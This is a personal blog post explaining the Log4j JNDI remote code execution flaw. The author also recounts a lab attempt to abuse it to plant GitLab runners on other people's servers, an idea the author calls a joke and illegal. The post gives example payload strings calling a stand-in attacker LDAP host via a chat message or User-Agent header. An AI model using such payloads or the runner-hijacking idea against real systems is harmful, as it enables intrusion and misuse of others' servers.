Az

Log4j Learnings

A few weeks ago a new vulnerability was discovered being expoited in the wild.

Vulnerability Summary

The Apache Log4j 2 library has a Remote Code Execution (RCE) vulnerability based on variable substition. If a log message contains a string with a JNDI string pointing to an LDAP or RMI endpoint such as ${jndi:ldap://evil-ldap.example.com/mwahaha} the Log4j library will immediately try and resolve it by calling out to the endpoint. In the LDAP case it will resolve the LDAP resource and if the LDAP server replies with a HTTP address it will call out to that as well.

A Java class sitting at the other end of the HTTP address can be downloaded and then executed by the vulnerable running program. This means if an attacker controls the LDAP and HTTP server and sends a message to a Java program with an affected Log4j version they can run code of their choosing against the server running the Java program.

Rough process of exploit:

  1. Exploiter sets up an LDAP server with a record pointing to a HTTP server they also set up.
  2. Exploiter sends something like:
    • A chat message in Minecraft that says “ahahah noob ${jndi:ldap://evil-ldap.example.com/mwahaha}” or;
    • Makes a request to a Java+Log4j web server with the user agent header “${jndi:ldap://evil-ldap.example.com/mwahaha}”.
  3. The server tries to resolve the LDAP resource because of the substition and contacts evil-ldap.example.com/mwahaha.
  4. The LDAP server responds to the request, points to https://evil-web.example.com/dangerous.class.
  5. The exploited server downloads and runs dangerous.class in the context of the Java application.

The severity of this bug, aside from it being an RCE, is based on a few factors:

  • Log4j is used in a lot of applications.
  • Log4j often directly involves user input (chat messages, web server logs, etc).
  • A lot of enterprise and black box applications use Java and Log4j and aren’t easily updated or may be legacy.

Silly Ideas

I’ve been working with some friends lately on a private project with a private GitLab instance. We have limited hardware but a huge need for CI runners. We were originally joking about setting up a build agent on each PC we have access to in order to give us extra concurrent build slots when I joked (very specifically: this was a joke) about utilising the log4j exploit discussed above to get access to a lot more runners by forcing servers around the internet to install and run GitLab Runners.

Of course, there’s some huge problems with this idea in practice:

  • You could damage other people’s servers by setting up software without checking the environment.
  • It’s a violation of computer abuse laws around the world. You risk legal consequences, possibly jail time.
  • It is not anonymous at all - you have to provide your GitLab URL which could be used to track it back to you.

Prototyping

Despite the fact I had no plans to run this in real life, I thought it would be funny to run a test setup, could I expoit a vulnerable application that ran Log4j and force it to install and register GitLab?

Short answer: no, I couldn’t.

Longer answer:

I managed to get the exploit working enough to run a single comand, but some issues with the method meant I couldn’t chain commands, especially any that called out to other services. Given enough time and some better skills with Java, I feel I could have gotten the exploit working completely.

I based my work off JNDI-Injection-Exploit by @welk1n and a quick vulnerable Log4j app, making sure to use an affected version of the required libraries, runtimes, and system properties. After exploring how the ready-made LDAP/RMI/HTTP combo exploit server worked I managed to get a customised version of the exploit after making some small changes, but had problems running cURL/wget and chaining/piping commands using Java’s getRuntime().exec() system.

Learnings

Even “off the shelf” exploits require a bit of knowledge, which helped me understand more of the complexity in exploit development. Even once you’ve got something executing on a target, you want it customised in such a way that it will run on any potential end server (regardless of operating system or environment). Learning about how to open a reverse shell could have been another avenue to try, but I thought I’d rather spend the rest of the evening cuddled up under the A/C (it’s 40˚C in a heatwave right now) on Christmas with my loved ones.